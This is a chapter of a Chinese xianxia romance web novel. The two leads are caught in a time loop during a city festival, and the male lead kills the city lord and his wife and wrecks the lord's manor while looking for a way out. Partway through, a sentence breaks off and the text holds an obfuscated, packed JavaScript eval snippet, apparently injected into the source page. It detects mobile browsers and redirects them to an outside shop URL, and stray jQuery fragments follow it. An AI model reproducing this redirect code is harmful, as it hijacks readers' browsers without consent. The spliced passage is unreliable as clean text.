19. 第十九章 重启

作品:《我和修真反派绑一起穿进古言书

    第二天一早,桑润砚就起床了,萧衍的房门紧闭,她洗漱好,掏出自带的小米准备借用客栈厨房给自己做点早餐。


    按照昨晚的记忆,桑润砚找到破败得跟土墙差不多一个颜色的帘布,拘谨的站在外面询问:“您好,我可以借用一下厨房吗?”


    门帘里没什么动静,过了一会儿桑润砚稍微提高音量用重新问了一遍,但还是没得到任何回答。


    刚要放弃,帘子被一只苍老的手掀开,老人看都没看桑润砚,自顾自走到柜台前,倒弄着那盆快要枯死的盛阳花。


    见老人没反应,桑润砚从背包里掏出从储物袋里带的桂花糕充饥。


    这里的情况未知,她不太敢吃陌生餐饭,幸亏自己临出门前在储物袋里放了很多食物。


    她默默打量着老人的动作,这才发现老人右手腕上有一个已经暗褐色的牙印,随着时间流逝上面痂层掉落,却依旧留下明晃晃的印记。


    桑润砚跟老人搭话,“大爷,这是您养的花吗?”


    回答她的只有一阵寂静。


    桑润砚的视线不由自主落在他慢吞吞收拾花的动作上,布满皱纹的手颤颤巍巍,引得在晨光中的植物簌簌往下落细尘。


    这花濒死,整个枝干艰难蜷缩起来,叶子枯黄,要掉不掉,连花瓣边缘都泛起焦黄向内卷曲。


    老人毫不在意,只是机械的修剪着盛阳花的花枝,又精心给它浇水。


    没看见萧衍,桑润砚不太敢乱跑。


    她跟老人在客栈大堂里,从门口往外看,街上依旧熙熙攘攘,白天的南清城又恢复了昨天的热闹喧哗,跟夜晚的死寂形成鲜明对比。


    “咳咳……”


    愣神之际,桑润砚被一个冲击撞得直咳嗽,嘴里的桂花糕废了好大力气咽下去,这才看清是源晨兴奋地在她跟前来回晃。


    见桑润砚呛得咳嗽,源晨有一瞬间的呆滞,它忘了,桑润砚是有点子弱在身上的,跟以前杀过皮糙肉厚的魔兽压根不一样。


    她好不容易顺气,源晨才审时度势缓缓贴近桑润砚,嗡鸣震动都带着讨好和歉意。


    “我没事。”桑润砚摸了摸源晨剑柄,一人一剑的互动没有惊动老人,他大概率不会搭理任何人。


    “起这么早?”慵懒磁性的声音从上面传来,伴随着一阵不紧不慢的下楼声。


    桑润砚循声望去,楼上的人眨眼间来到面前,低头,勾唇,高大的身躯投下阴影将桑润砚尽数拢了进去。


    萧衍今天穿了件深红色的劲装,金线勾勒出富丽繁杂的花纹,头发高高束起,华贵,但拒人千里之外。


    萧衍毫不掩饰探究意味,逡巡着桑润砚不知所措的面容,一阵甜到发腻的味道顺着她的发丝飘垂到他身上,他的视线跟着往下落,看到了娇小纤细的手里拿着莹白的糕点。


    呵。


    正愣神之际,桑润砚手里一空,萧衍得意扬了扬到手的桂花糕,往门外走去。


    “跟上。”


    他真的很坏。


    桑润砚偷偷撇嘴,下意识握了握空荡荡的手心,不情不愿跟了上去。


    二人刚到街上就听见有人讨论城主夫人诞辰的事,少女们叽叽喳喳:


    “今年的诞辰看起来办得比以往都要盛大呢。”


    “谁说不是啊,城主可真是疼爱夫人。”


    丝丝缕缕异常散在空气中,漫进心里,城主夫人的诞辰不是昨天刚过了吗?


    “老大…”桑润砚吐出的尾音有点颤,本能往萧衍身边凑。


    “小姑娘来这看看,我这儿的伞质量是最好的。”


    她又遇到了那个卖她伞的小贩老板,桑润砚心里焦灼,急于求证,“老板,你还认识我吗?我昨天来您这买过伞,您还送了我两个香囊。”


    老板仔细打量桑润砚和萧衍,摸着下巴思考一番,“没有吧,照理像公子小姐这般长相和气质的人,我应该不会记错。”


    紧接着老板又说出跟昨天一模一样的话:“话说我们城主和夫人成婚得有五年了,一直很恩爱,南清城也在他的治理下井井有条,城主还把夫人的诞辰作为全城的盛大节日,这一天天可是南清城百姓们都期盼的日子。”


    人群议论声,欢呼声和唢呐敲打的乐器声响由远及近。


    他们又看到了城主和城主夫人在花车巡游跟,跟昨天同样的衣服,同样的动作,同样的表情。


    所有人都在狂欢,只有桑润砚和萧衍置身事外,观察着这荒诞的一切。


    桑润砚只觉得浑身冰冷。


    萧衍眼中闪过一丝对危险的兴奋,漫不经心的桃花眼因为愉悦变得微弯,“我们应该是被困在同一天了。”


    “那怎么办?”她的呼吸重了几分,指尖攥得泛白。


    萧衍又不说话了,他眼含笑意盯着桑润砚,存了刻意的心思吓唬她。


    他凑近脆弱的脖颈,轻飘飘丢下句:“我也不知道呢。”


    桑润砚一噎,原本害怕的情绪有了缓冲,她现在有点想揍萧衍。


    真笨。


    萧衍嘴角扬得愈发明显,脸上明摆着自己刚刚在说谎。


    至于幻境里出去的办法…


    其实很简单,要么找出操纵这一切的人,让他停止继续操纵,或者直接破坏操纵时间循坏的媒介。


    萧衍手握源晨剑,眼睛里满是杀气,笑得张扬放肆,傲慢冰冷的看着在城墙上的城主和城主夫人:“先杀几个试试。”


    没等桑润砚反映过来,萧衍身形一闪,城主夫人就被一剑封喉,


    “阿蓁!”城主下意识冲上前挡剑,可无济于补。


    紧接着城主也被萧衍解决了,可百姓们像是没看到城主和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386029|200257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    城主夫人遇险那样,依旧夹道欢迎那辆载着两具尸体的花车。


    桑润砚见到这一幕浑身发凉,此时萧衍回到她身侧,也在打量着四周人们的反应。


    可以确定,这里所有人都不是活人。


    这景象太过诡异,桑润砚颤抖地抓着惊霆,紧跟萧衍:“老大,这样也没效果,咱换一个吧。”


    这里的百姓其他事情上可以正常交流,但却对南清城这一天的庆典异常执着。


    他们如同台上的木偶,一举一动都是按照暗中制定的规则,表情鲜活却又毫无生机。


    萧衍和桑润砚二人在路人视角下,参观这场荒唐诡异的盛宴。


    接下来的活动是城主和城主夫人上城楼道贺词,花车到了城楼,可花车上的两具尸体却没有动,周围的人们似乎陷入了一种迷茫的情绪。


    观察到城主和城主夫人的伤口开始愈合,服饰上的血迹可开始消散,萧衍手指一勾,直接烧掉了花车上的那两具尸体。


    现在城内演着的剧情为城主为城主夫人庆生,那如果破坏强制剧情呢?


    他紧紧盯着人们的反应。


    故事依旧在继续。


    过了一会儿,百姓们的目光就转到城楼,直接对着城楼上的空气喝彩。


    看来有没有城主和夫人都一样,但施咒者为什么会选在这一天?


    萧衍眉心微沉,提着桑润砚直奔城主府,


    “老大,你带我来这做什么?”


    桑润砚顺着萧衍的视线看过去,眼前是大片大片的盛阳花,她想不明白,亦步亦趋地跟在萧衍后面。


    萧衍死死盯着面前的花田,唤出源晨剑直接将这些花烧了个精光。


    “哎哎哎,干什么呢!”管家急匆匆赶来对着他们就是一顿呵斥,“这是城主专门给夫人种的盛阳花,你们两个刁民赔得起吗?!”


    萧衍没管他,一剑劈开了周围房子的屋顶,霎时城主府里人仰马翻,下人们疯狂逃窜,


    桑润砚早见过这种场面,十分熟练地开始找地方躲避,眼见着管家瘫坐在地上,目瞪口呆看着萧衍毁天灭地的举动,


    她想了想,又返回来拖发懵的管家。


    管家还没转过弯来,此时求生的本能支撑着他圆滚滚的身体起来跟着桑润砚到了城主府外。


    管家哆哆嗦嗦擦着额头上的冷汗,衣衫上满是灰尘,惊魂未定地跟桑润砚道谢:“小姑娘,谢谢啊。”


    桑润砚眼巴巴伸出两根手指:“二两。”


    ……


    收到昨天自己亏的钱,桑润砚很开心。


    很快城主府成了一片废墟,但是萧衍还是没有找到龙族宝物。


    他正要挥剑,忽地闪过一阵白光,萧衍下意识偏头去找桑润砚,紧接着天旋地转,桑润砚还没来得及做出反应就失去了意识。